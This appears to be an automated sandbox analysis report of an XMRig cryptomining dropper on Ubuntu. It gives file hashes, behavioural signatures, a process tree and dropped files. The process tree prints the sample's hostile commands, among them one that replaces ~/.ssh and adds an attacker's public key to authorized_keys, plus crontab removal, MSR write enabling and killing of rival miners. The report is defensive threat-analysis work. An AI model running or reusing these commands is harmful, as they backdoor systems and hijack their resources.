Analysis

  • max time kernel
    600s
  • max time network
    567s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240221-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    15-04-2024 16:01

General

  • Target

    .rsync/a/a

  • Size

    2KB

  • MD5

    b067abc476505eea79d2233ee3585626

  • SHA1

    15f7c9af535f4390b14ba03ddb990c732212dde8

  • SHA256

    ed9330e1594e73097dc6c8bf9f157de0d3799171a1967aaa43f9cd8629092f07

  • SHA512

    95211823aadc69ca8145339188cf90094afb28948ec8729fd4e208fdb0bff4fa3a5435574a12c51618c87916e3ecccfa8c4621b4e6f26c8c42ec8dd13a285fab

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Attempts to change immutable files 4 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 57 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/.rsync/a/a
    /tmp/.rsync/a/a
    1⤵
    • Writes file to tmp directory
    PID:1485
    • /usr/bin/crontab
      crontab -r
      2⤵
        PID:1486
      • /usr/bin/cat
        cat dir.dir
        2⤵
          PID:1487
        • /usr/bin/id
          id -u
          2⤵
            PID:1488
          • /usr/sbin/modprobe
            modprobe msr "allow_writes=on"
            2⤵
            • Enumerates kernel/hardware configuration
            PID:1489
          • /usr/bin/grep
            grep -E "AMD Ryzen|AMD EPYC" /proc/cpuinfo
            2⤵
            • Checks CPU configuration
            PID:1490
          • /usr/bin/grep
            grep Intel /proc/cpuinfo
            2⤵
            • Checks CPU configuration
            PID:1491
          • /usr/bin/nproc
            nproc
            2⤵
              PID:1495
            • /usr/sbin/sysctl
              sysctl -w "vm.nr_hugepages=1"
              2⤵
                PID:1496
              • /usr/bin/find
                find /sys/devices/system/node/node0 -maxdepth 0 -type d
                2⤵
                  PID:1497
                • /usr/bin/chmod
                  chmod u+x upd
                  2⤵
                    PID:1498
                  • /usr/bin/chmod
                    chmod 777 a dir.dir init0 kswapd0 run stop upd
                    2⤵
                      PID:1499
                    • /tmp/.rsync/a/upd
                      ./upd
                      2⤵
                      • Executes dropped EXE
                      PID:1500
                  • /tmp/.rsync/a/run
                    ./run
                    1⤵
                    • Writes file to tmp directory
                    PID:1501
                    • /tmp/.rsync/a/stop
                      ./stop
                      2⤵
                      • Writes file to tmp directory
                      PID:1502
                      • /usr/bin/chattr
                        chattr -ia "~/.xmrig.json"
                        3⤵
                        • Attempts to change immutable files
                        PID:1503
                      • /usr/bin/rm
                        rm -rf "~/.xmrig.json"
                        3⤵
                          PID:1504
                        • /usr/bin/pkill
                          pkill -9 cron
                          3⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1505
                        • /usr/bin/killall
                          killall -9 cron
                          3⤵
                          • Reads runtime system information
                          PID:1506
                        • /usr/bin/pkill
                          pkill -9 kswapd0
                          3⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1512
                        • /usr/bin/killall
                          killall -9 kswapd0
                          3⤵
                          • Reads runtime system information
                          PID:1513
                        • /usr/bin/pkill
                          pkill -9 ld-linux
                          3⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1519
                        • /usr/bin/killall
                          killall -9 ld-linux
                          3⤵
                          • Reads runtime system information
                          PID:1520
                        • /usr/bin/pkill
                          pkill -9 Donald
                          3⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1526
                        • /usr/bin/killall
                          killall -9 Donald
                          3⤵
                          • Reads runtime system information
                          PID:1528
                        • /usr/bin/pkill
                          pkill -9 xmr
                          3⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1534
                        • /usr/bin/killall
                          killall -9 xmr
                          3⤵
                          • Reads runtime system information
                          PID:1535
                        • /usr/bin/pkill
                          pkill -9 xm64
                          3⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:1541
                        • /usr/bin/killall
                          killall -9 xm64
                          3⤵
                          • Reads runtime system information
                          PID:1542
                        • /usr/bin/rm
                          rm -rf .proc
                          3⤵
                            PID:1548
                        • /usr/bin/sleep
                          sleep 10
                          2⤵
                            PID:1549
                          • /usr/bin/cat
                            cat dir.dir
                            2⤵
                              PID:2045
                          • /usr/bin/grep
                            grep -v grep
                            1⤵
                              PID:1510
                            • /usr/bin/awk
                              awk "{print \$1}"
                              1⤵
                                PID:1511
                              • /usr/bin/grep
                                grep cron
                                1⤵
                                  PID:1509
                                • /usr/bin/ps
                                  ps x
                                  1⤵
                                  • Reads CPU attributes
                                  • Reads runtime system information
                                  PID:1508
                                • /usr/bin/awk
                                  awk "{print \$1}"
                                  1⤵
                                    PID:1518
                                  • /usr/bin/grep
                                    grep -v grep
                                    1⤵
                                      PID:1517
                                    • /usr/bin/grep
                                      grep kswapd0
                                      1⤵
                                        PID:1516
                                      • /usr/bin/ps
                                        ps x
                                        1⤵
                                        • Reads CPU attributes
                                        • Reads runtime system information
                                        PID:1515
                                      • /usr/bin/awk
                                        awk "{print \$1}"
                                        1⤵
                                          PID:1525
                                        • /usr/bin/grep
                                          grep -v grep
                                          1⤵
                                            PID:1524
                                          • /usr/bin/grep
                                            grep ld-linux
                                            1⤵
                                              PID:1523
                                            • /usr/bin/ps
                                              ps x
                                              1⤵
                                              • Reads CPU attributes
                                              • Reads runtime system information
                                              PID:1522
                                            • /usr/bin/awk
                                              awk "{print \$1}"
                                              1⤵
                                                PID:1533
                                              • /usr/bin/grep
                                                grep -v grep
                                                1⤵
                                                  PID:1532
                                                • /usr/bin/grep
                                                  grep Donald
                                                  1⤵
                                                    PID:1531
                                                  • /usr/bin/ps
                                                    ps x
                                                    1⤵
                                                    • Reads CPU attributes
                                                    • Reads runtime system information
                                                    PID:1530
                                                  • /usr/bin/awk
                                                    awk "{print \$1}"
                                                    1⤵
                                                      PID:1540
                                                    • /usr/bin/grep
                                                      grep -v grep
                                                      1⤵
                                                        PID:1539
                                                      • /usr/bin/grep
                                                        grep xmr
                                                        1⤵
                                                          PID:1538
                                                        • /usr/bin/ps
                                                          ps x
                                                          1⤵
                                                          • Reads CPU attributes
                                                          • Reads runtime system information
                                                          PID:1537
                                                        • /usr/bin/awk
                                                          awk "{print \$1}"
                                                          1⤵
                                                            PID:1547
                                                          • /usr/bin/grep
                                                            grep -v grep
                                                            1⤵
                                                              PID:1546
                                                            • /usr/bin/grep
                                                              grep xm64
                                                              1⤵
                                                                PID:1545
                                                              • /usr/bin/ps
                                                                ps x
                                                                1⤵
                                                                • Reads CPU attributes
                                                                • Reads runtime system information
                                                                PID:1544
                                                              • /usr/bin/nohup
                                                                nohup ./kswapd0
                                                                1⤵
                                                                  PID:2046
                                                                • /tmp/.rsync/a/kswapd0
                                                                  ./kswapd0
                                                                  1⤵
                                                                  • Checks CPU configuration
                                                                  • Checks hardware identifiers (DMI)
                                                                  • Reads CPU attributes
                                                                  • Reads hardware information
                                                                  • Enumerates kernel/hardware configuration
                                                                  • Writes file to tmp directory
                                                                  PID:2046
                                                                  • /bin/sh
                                                                    sh -c "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
                                                                    2⤵
                                                                      PID:2049
                                                                    • /bin/sh
                                                                      sh -c "chattr -ia ~/.xmrig.json;lockr -ia ~/.xmrig.json; rm -rf ~/.xmrig.json; chattr -ia ~/.config/xmrig.json; lockr -ia ~/.config/xmrig.json; rm -rf ~/.config/xmrig.json"
                                                                      2⤵
                                                                      • Attempts to change immutable files
                                                                      PID:2050
                                                                      • /usr/bin/chattr
                                                                        chattr -ia "~/.xmrig.json"
                                                                        3⤵
                                                                        • Attempts to change immutable files
                                                                        PID:2051
                                                                      • /usr/bin/rm
                                                                        rm -rf "~/.xmrig.json"
                                                                        3⤵
                                                                          PID:2052
                                                                        • /usr/bin/chattr
                                                                          chattr -ia "~/.config/xmrig.json"
                                                                          3⤵
                                                                          • Attempts to change immutable files
                                                                          PID:2053
                                                                        • /usr/bin/rm
                                                                          rm -rf "~/.config/xmrig.json"
                                                                          3⤵
                                                                            PID:2054

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v15

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • /tmp/.rsync/a/bash.pid

                                                                        Filesize

                                                                        5B

                                                                        MD5

                                                                        2669249bc32a4cc1ee875f4c66888789

                                                                        SHA1

                                                                        a753f458e6840508e64bef0db909b983b23b3366

                                                                        SHA256

                                                                        b67718a7f23969337b599fbccb53c9cb23e8020b355d8a5e4072ad1d761efe36

                                                                        SHA512

                                                                        270d37cebe3d1803b8467b6ebd7961ec4eb15e41206743091fb8a5f5dd3e3680eb297946daa48408173be11781fe827214e33b36248b889416ed81e8b888780f

                                                                      • /tmp/.rsync/a/cert_key.pem

                                                                        Filesize

                                                                        1KB

                                                                        MD5

                                                                        00c0d71d12bacd5d7bbb5c948e73797e

                                                                        SHA1

                                                                        e2dc568f887d8b94aa770c7789da37905940348f

                                                                        SHA256

                                                                        af17bf243a024cfff3e7e4af1f0cc21da30d6c8a5930344a464aaebd9b7ca31b

                                                                        SHA512

                                                                        6bbb39221d1f551b494950f7f4d3045e5fb224c27e2e5c35ea595d9350ceb7f2fd3275ce257f53d2148947fcc0c9d92587e73434e1357c211cc516007231aa29

                                                                      • /tmp/.rsync/a/dir.dir

                                                                        Filesize

                                                                        14B

                                                                        MD5

                                                                        b3d878adcf4672bbd1f31cffac10c769

                                                                        SHA1

                                                                        ce5798837933ece35a7e26a0a3dc06cab19c6275

                                                                        SHA256

                                                                        ea5fce19c5fbbbc6c3c36eb9e8e295dfb525e9669aafaf8abe9ddb4e00e345c7

                                                                        SHA512

                                                                        019d21a618b3ccc70c0c7ede225cbbb704e2b448048586c44c74c81a747129da9f3f9675f2a29363af320d2684974a1ff00ac608c53de4458aeacd3ed4f9da2c

                                                                      • /tmp/.rsync/a/upd

                                                                        Filesize

                                                                        175B

                                                                        MD5

                                                                        a136fbe534c2487d3c89bd6a26847bd0

                                                                        SHA1

                                                                        11b9362ba79b67dd5d5baf7cf11e0003f049d6e0

                                                                        SHA256

                                                                        419a443ff93475ef3abb6e71e5a94e56aea8b7c1f1c4402b3662425815432d46

                                                                        SHA512

                                                                        85047cf9d22037d2581ae41275107b243c0bb3259b57fe46bd3fd04a1abe75a7fdeace8a9eae1fae31349a00183206b40259ab3957db8f4f16a79e67133485e9